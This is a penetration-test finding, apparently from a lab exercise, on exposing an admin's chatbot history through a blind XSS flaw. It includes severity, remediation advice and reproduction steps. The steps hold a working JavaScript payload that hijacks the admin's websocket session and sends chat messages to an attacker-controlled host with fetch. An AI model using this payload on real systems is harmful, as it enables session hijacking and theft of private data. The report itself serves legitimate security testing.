BS02: Admin Chatbot History Exposure

Explanation: We have uncovered a vulnerability tied to the previously identified Blind Cross-Site Scripting (XSS) issue (BS01). This particular vulnerability allows for an advanced exploitation technique that leverages the XSS flaw to interact with the web application's websocket as if the attacker were the admin. This interaction enables the unauthorized retrieval of the admin's chatbot history, which was found to contain sensitive information, including the disclosure of a hidden subdomain: dev-git-auto-update.chatbot.htb.

The exposure of admin chatbot history not only compromises the confidentiality of potentially sensitive communications but also reveals internal infrastructure details that could facilitate further targeted attacks. The discovery of a hidden subdomain could lead to uncovering additional vulnerabilities within the network infrastructure.

Severity: This vulnerability has been assigned an Elevated severity rating due to the potential for unauthorized access to confidential information and the indirect exposure of internal systems.

Recommendation: Immediately address the underlying XSS vulnerability as outlined in the recommendations for BS01. Ensuring that user-supplied input is properly sanitized and validated will help prevent similar attack vectors. Also, review and secure the websocket implementation to restrict unauthorized access and ensure that sensitive operations, such as retrieving chat history, are adequately protected and accessible only to authenticated and authorized users.

Steps to Reproduce the Attack:

1. Craft a JavaScript file (saved as evil.js) designed to be injected via the XSS vulnerability (BS01). This script incorporates the socket.io library to establish a websocket connection, enabling the attacker to masquerade as the admin and interact with the chat system programmatically. The script listens for chat messages and, crucially, issues a command to retrieve the chat history, which is then exfiltrated to the attacker's server:

// We include the socket.io script by inserting it into the head of the document in order to interact with the socket.
const socketScript = document.createElement('script');
socketScript.src = '/socket.io/socket.io.js';
document.head.appendChild(socketScript);

// Wait until the socket script is fully loaded
socketScript.addEventListener('load', () => {
    const socket = io('/', {withCredentials: true});

    // Get initial data from the server
    const res = axios.get(`/user/api/chat`);

    // Listening for the messages
    socket.on('message', (my_message) => {
        fetch('http://YOUR-TUN0-IP-ADDRESS/?' + btoa(my_message));
    });

    // Send the history command
    socket.emit('client_message', 'history');
});

2. Launch a simple HTTP server (e.g., using Python) on your local machine to serve the malicious evil.js script: python3 -m http.server 80.

3. Utilize the XSS vulnerability (BS01) to inject the above JavaScript payload into the web application.

4. Monitor the server logs for incoming requests, which will contain base64-encoded chat messages as they are exfiltrated from the admin's chat history.

5. Collect and decode the base64-encoded chat messages to reveal their plaintext content. This step confirms the successful exploitation of the vulnerability and the exposure of sensitive chatbot interactions. The encoded messages are shown below:

R3JlZXRpbmdzIS4gSG93IGNhbiBpIGhlbHAgeW91IHRvZGF5ID8uIFlvdSBjYW4gdHlwZSBoZWxwIHRvIHNlZSBzb21lIGJ1aWxkaW4gY29tbWFuZHM=

SGVsbG8sIEkgYW0gQWRtaW4uVGVzdGluZyB0aGUgQ2hhdCBBcHBsaWNhdGlvbg==

V3JpdGUgYSBzY3JpcHQgZm9yICBkZXYtZ2l0LWF1dG8tdXBkYXRlLmNoYXRib3QuaHRiIHRvIHdvcmsgcHJvcGVybHk=

V3JpdGUgYSBzY3JpcHQgdG8gYXV0b21hdGUgdGhlIGF1dG8tdXBkYXRl